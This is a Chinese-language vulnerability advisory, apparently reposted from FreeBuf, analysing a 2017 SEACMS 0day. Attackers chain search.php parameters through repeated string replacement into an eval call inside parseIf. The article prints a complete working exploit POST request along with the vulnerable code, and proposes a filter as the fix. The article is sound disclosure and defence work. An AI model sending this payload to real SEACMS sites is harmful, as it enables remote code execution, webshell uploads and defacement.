专栏首页FreeBuf漏洞预警 | 海洋CMS(SEACMS)0day漏洞预警

漏洞预警 | 海洋CMS(SEACMS)0day漏洞预警

概述

最近我们的一名安全托管客户反应,其服务器遭受到攻击,被黑客上传了webshell并篡改网页内容。经过我们为客户安装云锁防护软件后,拦截到一个针对海洋CMS(SEACMS)的0day漏洞。

海洋CMS是一套专为不同需求的站长而设计的视频点播系统,在影视类CMS中具有很高的市场占有率,其官方地址是:http://www.seacms.net/

海洋CMS(SEACMS)几个老漏洞及其修补方法

在2017年2月,海洋CMS 6.45版本曾爆出一个前台getshell漏洞,漏洞具体内容参见:http://blog.csdn.net/qq_35078631/article/details/76595817。该漏洞成因在于search.php没有对用户输入内容进行过滤,导致攻击者提交的order参数可进入parseIf函数中执行eval。

官方在6.46版中修复了该漏洞,修复方法是对用户输入的参数进行过滤并限制长度为20个字符。但这种修复方法并没有完全修复漏洞,因为在替换操作过程中用户输入的几个参数可以进行组合,因此补丁被绕过。

随后官方又在8月7日发布了6.54版本再次修复漏洞,这次修复增加了一句:

$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";

即限制了order参数只能是固定内容,这样虽然避免了通过order参数进行的攻击,但是却没有解决其他参数进入parseIf函数的问题。

海洋CMS(SEACMS)0day漏洞分析

我们抓取到的攻击payload(POC)如下:

POST /search.php HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
Connection: keep-alive
Upgrade-Insecure-Requests: 1

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

可以看到,攻击入口已经不在是order参数,我们来看一下search.php中的搜索实现过程:

function echoSearchPage()
{
......
    $content = str_replace("{searchpage:page}",$page,$content);
        $content = str_replace("{seacms:searchword}",$searchword,$content);
    $content = str_replace("{seacms:searchnum}",$TotalResult,$content);
        $content = str_replace("{searchpage:ordername}",$order,$content);
......
    $content = str_replace("{searchpage:year}",$year,$content);
        $content = str_replace("{searchpage:area}",$area,$content);
    $content = str_replace("{searchpage:letter}",$letter,$content);
        $content = str_replace("{searchpage:lang}",$yuyan,$content);
    $content = str_replace("{searchpage:jq}",$jq,$content);
    ......
        $content = str_replace("{searchpage:state}",$state2,$content);
    $content = str_replace("{searchpage:money}",$money2,$content);
        $content = str_replace("{searchpage:ver}",$ver,$content);
......
    $content=$mainClassObj->parseIf($content);

可以看到,代码中对html中的searchpage标签进行了多次替换,而攻击者也正是利用了这一点,在多次替换过程中使多个参数共同组合成最终的payload,这样既绕开了RemoveXSS的过滤又绕过了20字节的长度限制。 在对参数进行了替换之后,content中已经包含了如下攻击payload:

if:eval(join($_POST[9]))

在随后的POST数据中攻击者又利用9[]把真正的payload利用base64_decode传入。最终$content内容被传入parseIf函数。在parseIf函数中判断含有if:标签,就会调用eval来执行该内容,从而导致了攻击者的payload被执行。

function parseIf($content){
            if (strpos($content,'{if:')=== false){
            return $content;
            }else{
......
            @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

漏洞修复

根据云锁监测,目前该0day已经被大规模运用,而且攻击者使用自动化攻击脚本对全网SEACMS进行搜索并实施自动攻击。我们已在9月份向CNVD和厂商报告了漏洞详情,但截至2017.10.9,SEACMS仍然未发布该漏洞的补丁。建议SEACMS用户立即安装云锁并开启文件防上传功能,可暂时避免被自动化程序攻击。或在echoSearchPage()函数中增加一条过滤语句:

if(strpos($searchword,'{searchpage:')) exit;

本文分享自微信公众号 - FreeBuf(freebuf),作者:天择实习生

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-10-09

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Mirai新变体Mukashi分析

    CVE-2020-9054 PoC于上个月公开发布后立即被用来感染Zyxel NAS设备。Mirai新变体Mukashi暴力使用不同组合的默认凭据强制登录,将登...

    FB客服
  • 剪贴板劫持:复制粘贴中暗藏杀机

    现在浏览器大多只允许开发者在一定条件下向用户剪贴板中添加内容。换句话说,剪贴板劫持只能是在浏览器事件中才能够触发。本文将详细的向各位讲述“剪贴板劫持”攻击如何诱...

    FB客服
  • 挖洞经验 | 看我如何通过子域名接管绕过Uber单点登录认证机制

    Uber使用Amazon CloudFront CDN架构的网站saostatic.uber.com存在子域名安全漏洞,可被攻击者接管。另外,Uber近期部署在...

    FB客服
  • 51Nod--1005 大数加法

    题目:http://www.51nod.com/onlineJudge/questionCode.html#!problemId=1005

    指点
  • 企业面试题:去除字符串空格

    舒克老师的回答是,当然有用。但是这些东西切忌死记硬背,因为程序的东西不能学死,否则稍微变化一下你就不会了。

    舒克
  • 拉丁猪文字游戏

    拉丁猪文字游戏——这是一个英语语言游戏。基本规则是将一个英语单词的第一个辅音音素的字母移动到词尾并且加上后缀-ay(譬如“banana”会变成“anana-ba...

    _gongluck
  • strcpy和strcat易忽略点

    xiaoxi666
  • Tiled源码分析: 序

    逍遥剑客
  • 考场安排---图的着色原理之运用

    试设计一算法,当给定一个图时G=(V,E),|V|=n,(Vi,Vj)ЄE,当且仅当有一个同学选了课程i和课程j,试给出一个考试安排方案N1,N2,N3…Nk,...

    ternturing
  • C#三元运算符?:高级点的用法

    当看到,(selectionMethod==0)?(ISelectionMethod)new EliteSelection():            ...

    望天

扫码关注云+社区

领取腾讯云代金券